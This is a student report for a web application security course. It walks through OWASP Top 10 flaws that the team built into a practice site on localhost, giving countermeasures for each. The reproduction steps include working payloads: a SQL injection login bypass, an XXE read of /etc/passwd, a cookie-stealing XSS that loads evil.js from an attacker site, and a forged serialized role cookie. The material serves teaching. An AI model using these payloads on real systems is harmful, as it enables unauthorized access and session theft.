Report: OWASP Project for the Course on Security of Web Applications.

Team : Nikita Rousseau, François Melkonian, Joël Cancela Vaz

Resources:
Code repository - https://github.com/joelcancela/S9_SA_ProjectOWASP
Please read README.md to install the SQL database.

OWASP Top 10 2017 -
https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf

Vulnerabilities

A1. Injection

Description: We choose to put a simple SQL injection vulnerability in the login page.
Code location: insecureWebsite/login.process.php (l54-57 var $db_query, $username and $password are not escaped)
Countermeasures: Use prepared SQL statements e.g.:

```
$db_query = $dbh->query("
        SELECT COUNT(*)
        FROM ".DBNAME.".".DBPREFIX."admin
        WHERE `login` = ".$dbh->quote($username)." AND `password` =
".$dbh->quote($password).";");
```

Path to reproduce: Get to the login page and put : ***admin';--*** as nickname, no password and press login.

A2. Broken Authentication

Description: The site has no restriction about password length, default or well-known passwords.
Code location: insecureWebsite/register.php
Countermeasures: in the HTML put a pattern in the password input to make the user put a strong password (e.g. at least 8 characters with an uppercase and a special symbol), in the PHP when submitting check password pattern and refuse to create the account if the password is not strong enough.
Path to reproduce: Go to the register page (http://localhost/owasp/insecureWebsite/register.php) and create a password with 1 character.

A3. Sensitive Data Exposure

Description: Sensitive data can be accessed easily without no additional security. For example in our website, the secret can be accessed as long as you're logged as admin.
Code location: insecureWebsite/includes/views/apikey.php
Countermeasures: Add additional security layer like asking for password to access pages containing sensitive data.
Path to reproduce: While connected as Alice, go to http://localhost/owasp/insecureWebsite/dashboard.php?view=apikey, you can see the key without being asked to retype your password.

A4. XML External Entities

Description: Availables themes are stored in a XML property file. The file can be modified by an admin. All DTD and external references are allowed, and we use *SimpleXML*.
Note: This has been patched in PHP 5.6 so we can't test it (WAMP now uses PHP 7)
Code location: insecureWebsite/template.php
Countermeasures: Configure *SimpleXML* to block external (and local) resource loading and DTD manipulations.
Path to reproduce: With an admin account, go to the configuration panel. Click on the *edit* button, and define *Actual Configuration* text to :

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE theme [ <!ELEMENT theme ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd"
>]>
<themes><theme>&xxe;</theme></themes>
```

Then, depending on PHP version, the content of the file should be available on the theme options.

See also: Billion laughs attack (https://en.wikipedia.org/wiki/Billion_laughs_attack)

A5. Broken Access Control

Description: Elevation of privilege, acting as an admin when logged as a user
Code location: insecureWebsite\includes\views\config.edit.php
Countermeasures: Just add an additional access control to check if the user is authorized to see the page.
Path to reproduce: Log in as bob and go to http://localhost/owasp/insecureWebsite/dashboard.php?view=config

A6. Security Misconfiguration

Description: Directory listing is disabled in some path where some sensitive configuration files are stored.
Code location: None, just need to create a .htaccess
Countermeasures: Just create a .htaccess file under the conf folder containing**:**

```
AuthName "403"
deny from all
```

Path to reproduce: Directory listing is disabled in path /conf, an hacker can access critical config files like conf.ini.
http://localhost/owasp/insecureWebsite/conf/

A7. Cross-site scripting (XSS)

Description: Our site includes a blog section where you can write messages and read messages from others users. If the messages are not escaped, malicious scripts (aka worms) can be placed in the site.
Code location: insecureWebsite\includes\views\article.php
Countermeasures: For this case using *<?php echo htmlspecialchars($article['title'])* instead of a simple <? php echo is enough to escape the script.
Path to reproduce: Write an article and put as title a script tag with the malicious script example : <script>alert("hacked");</script>

A8. Insecure Deserialization

Description: The application saves user information (including its role) in a cookie as well as in the session on the server side. In a specific portion of the application, the role check relies on both sides (for extra security). However, this dual side checkup is done with an OR operator instead of an AND operator because of a code typo. It results in a possible privilege escalation by modifying the serialized user stored in the user cookie (on the client side).
Code location: insecureWebsite\includes\views\apikey.php
Countermeasures: Remove cookie checkup, or cypher the cookie contents in order to prevent the user to directly edit it. With our usage of this cookie, we can define this cookie as HttpOnly.
Path to reproduce:

1) Access the hidden API page with regular account (ex: bob).
2) http://localhost/owasp/insecureWebsite/dashboard.php?view=apikey
3) Alter the stored cookie named "user"
    a) Regular serialized cookie string example for bob: a:5:{s:2:"id";s:1:"3";s:4:"role";s:7:"**Regular**";s:5:"login";s:3:"bob";s:9:"firstname";s:3:"Bob";s:8:"lastname";s:0:"";}
    b) Privilege escalation for bob as Administrator: a:5:{s:2:"id";s:1:"3";s:4:"role";s:13:"**Administrator**";s:5:"login";s:3:"bob";s:9:"firstname";s:3:"Bob";s:8:"lastname";s:0:"";}
    c) Privilege escalation encoded string (for cookie overload): a%3A5%3A%7Bs%3A2%3A%22id%22%3Bs%3A1%3A%223%22%3Bs%3A4%3A%22role%22%3Bs%3A13%3A%22**Administrator**%22%3Bs%3A5%3A%22login%22%3Bs%3A3%3A%22bob%22%3Bs%3A9%3A%22firstname%22%3Bs%3A3%3A%22Bob%22%3Bs%3A8%3A%22lastname%22%3Bs%3A0%3A%22%22%3B%7D

A9. Using components with known vulnerabilities

Description: Our server run with PHP 5.6, with an old version of *SimpleXML* component. This version would allow us to use an XXE attack used in A4.
Code location: insecureWebsite/template.xml
Countermeasures: Update the environment to a recent PHP version.
Path to reproduce: Install WAMP5 or alternative and update style configuration.

A10. Insufficient Logging & Monitoring

Description: Each try to connect is logged in a local file.
Code location: The log file is insecureWebsite/log.txt (and insecureWebsite/login.process.php)
Countermeasures: Apply rules in order to monitor fraudulent accesses: Block IP connection for n minutes or/and send mail.
Path to reproduce: Try a connection in /login.php, then read the content of /log.txt

Path to leak the secret

- You know Bob and you know he's not very smart, thankfully the site doesn't enforce good security measures and after trying some common passwords like "azerty, password". You manage to find the password. (**A2 Broken Authentication**)

- You're now logged as Bob, you have the possibility to post an article in the guestbook, and create an XSS attack (**A7 XSS**). To do it, you create an article with this code as title :

  ```
  <script src="http://localhost/owasp/hackerWebsite/evil.js"></script>
  ```

  This script links to evil.js located in your hacker website.
  Evil.js reads the unprotected (not HttpOnly) cookies of the user, checks if the user is Alice and if so, steals the value of the PHPSESSID and sends it to your server. (can be seen here: http://localhost/owasp/hackerWebsite/).
  Open a private navigation tab and log as alice (Check Remember Me, it will create a session cookie), look for the "livre d'or" page.

- Bob checks his website and can see the token he just stole, he can now log as Alice by going to this URL :
  localhost/owasp/insecureWebsite/login.php?SESSID=token (**A5 Broken access control**)

This token is valid until Alice signs out.

Check your cookies you can see that you have a cookie called user, you can see that it's serialized object with a field called role and Alice has role "Administrator".

Sign out, sign in as bob, go to that URL : insecureWebsite/dashboard.php?view=apikey

You still can’t see the secret, change the value of the user cookie, change the serialized object to :

“a%3A5%3A%7Bs%3A2%3A%22id%22%3Bs%3A1%3A%223%22%3Bs%3A4%3A%22role%22%3Bs%3A13%3A%22Administrator%22%3Bs%3A5%3A%22login%22%3Bs%3A3%3A%22bob%22%3Bs%3A9%3A%22firstname%22%3Bs%3A3%3A%22Bob%22%3Bs%3A8%3A%22lastname%22%3Bs%3A0%3A%22%22%3B%7D” which corresponds to “a:5:{s:2:"id";s:1:"3";s:4:"role";s:13:"Administrator";s:5:"login";s:3:"bob";s:9:"firstname";s:3:"Bob";s:8:"lastname";s:0:"";}”, (**A8 Insecure deserialization**). Refresh the page, you can see the secret because the section is normally reserved to admins only (**A3 Sensitive Data Exposure**), and it’s not protected by an additional security layer (e.g. ask for password)